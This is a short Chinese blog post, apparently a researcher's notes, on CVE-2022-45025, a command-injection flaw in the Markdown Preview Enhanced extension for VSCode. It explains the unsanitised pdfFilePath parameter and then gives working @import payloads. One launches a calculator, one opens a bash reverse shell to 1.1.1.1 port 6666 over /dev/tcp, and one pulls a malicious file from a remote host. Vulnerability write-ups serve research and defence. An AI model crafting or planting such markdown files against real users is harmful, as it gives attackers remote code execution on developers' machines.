Vscode命令执行

1
2
3
4
5
CVE-2022-45025

漏洞是由于Markdown Preview Enhanced for VSCode插件没有对pdfFilePath参数的输入内容进行控制,因此我们传入恶意命令,参数拼接起来加上开启了 { shell: true },从而导致了命令执行漏洞的产生。(https://github.com/shd101wyy/mume/blob/7135d7606a6a57de6e2372c26a2f16bb98ecf2b2/src/pdf.ts)

https://github.com/yuriisanin/CVE-2022-45025
1
@import "$(open -a Calculator > /dev/null | exit 0)test.pdf"

1670761130274-583dd206-5abd-4b24-a705-71e05f6eb693.png

1
@import "$(bash -c 'bash -i >& /dev/tcp/1.1.1.1/6666 0>&1'| exit 0) test.pdf
1
2
3
4
<!-- @import "http://10.211.55.6/test.md" -->

test.md内容:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)test.pdf" -->

更新: 2024-06-05 17:16:19
原文: https://www.yuque.com/yuqueyonghuwrqimt/vtxvff/qx5gluf7yaienoei


Vscode命令执行
https://savior-only.github.io/p/13ee3d6333644fbfaaf93711544d97b6/
作者
savior
发布于
2024年12月25日
更新于
2024年12月25日
许可协议